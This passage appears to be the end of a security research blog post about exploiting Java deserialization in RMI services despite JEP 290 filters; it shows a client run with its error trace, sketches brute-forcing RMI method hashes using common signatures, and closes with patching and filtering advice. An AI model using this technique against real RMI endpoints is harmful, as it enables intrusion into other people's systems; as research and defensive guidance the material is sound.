java -agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:8000 -cp "./libs/*" de.mogwailabs.BSidesRMIService.BSidesClient 10.165.188.117
Listening for transport dt_socket at address: 8000
Calling bsides.register()
java.lang.IllegalArgumentException: argument type mismatch
	at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:564)
	at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:359)
	at sun.rmi.transport.Transport$1.run(Transport.java:200)
	at sun.rmi.transport.Transport$1.run(Transport.java:197)
	at java.security.AccessController.doPrivileged(Native Method)
	at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
	at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:562)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677)
	at java.security.AccessController.doPrivileged(Native Method)
	at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1135)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
	at java.lang.Thread.run(Thread.java:844)
	at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
	at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
	at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:161)
	at java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod(RemoteObjectInvocationHandler.java:227)
	at java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:179)
	at com.sun.proxy.$Proxy0.register(Unknown Source)
	at de.mogwailabs.BSidesRMIService.BSidesClient.main(BSidesClient.java:20)

Some notes about brute forcing RMI methods

The described attack has the disadvantage that it only works if the attacker has access to the interface that is implemented by the RMI service. The reason for this is the way how RMI methods are actually invoked. The RMI client/server generate a SHA1 based hash from a string that is derived from the method signature. The argument names don’t matter here, only the method name and argument types.

Here is an example:

Method Method Signature Hash
void myRemoteMethod(int i, Object o, boolean b) myRemoteMethod(ILjava/lang/Object;Z)V 0xB7B6B5B4B3B2B1B0

Adam Bolton describes the scenario where he tries to brute force the entire RMI interface, which is not realistic. But when it comes to exploiting Java Deserialization, the attacker needs just to find the hash of one method that accepts an object as argument. It might be possible that an attacker performs a brute force attack with list of common method names/arguments, for example:

login(String username, String password)
logMessage(int logLevel, String message)
log(int logLevel, String message)

It should be possible to implement a brute force for such common methods that only use native Java Objects/Exceptions. However, I have no practical experiences with this and leave this to the curious reader :)

Summary

The build-in filters in JEP 290 kill the “quick pwn” exploits that works against all RMI endpoints as long as a working gadget is in the classpath of the target. However, the old exploits still work for existing targets as many Java applications are bundled with a specific Java version or the Java version was not updated to a version that includes JEP 290.

If the RMI service is running on a more recent version of the JDK, an attacker could still exploit Java deserialization on the application level. This requires that he has access to the interface that is implemented by the RMI service, for example by downloading the client from a web server on the target host.

If you have an RMI based application, make sure that you update to the latest Java version. As noted, JEP 290 has even been backported to older and no longer supported versions like Java 7. While the build-in filters provide an initial protection, you must define a process-wide filter, especially if the interface definition is available.


Thanks to Jo Lanta on Unsplash for the title picture.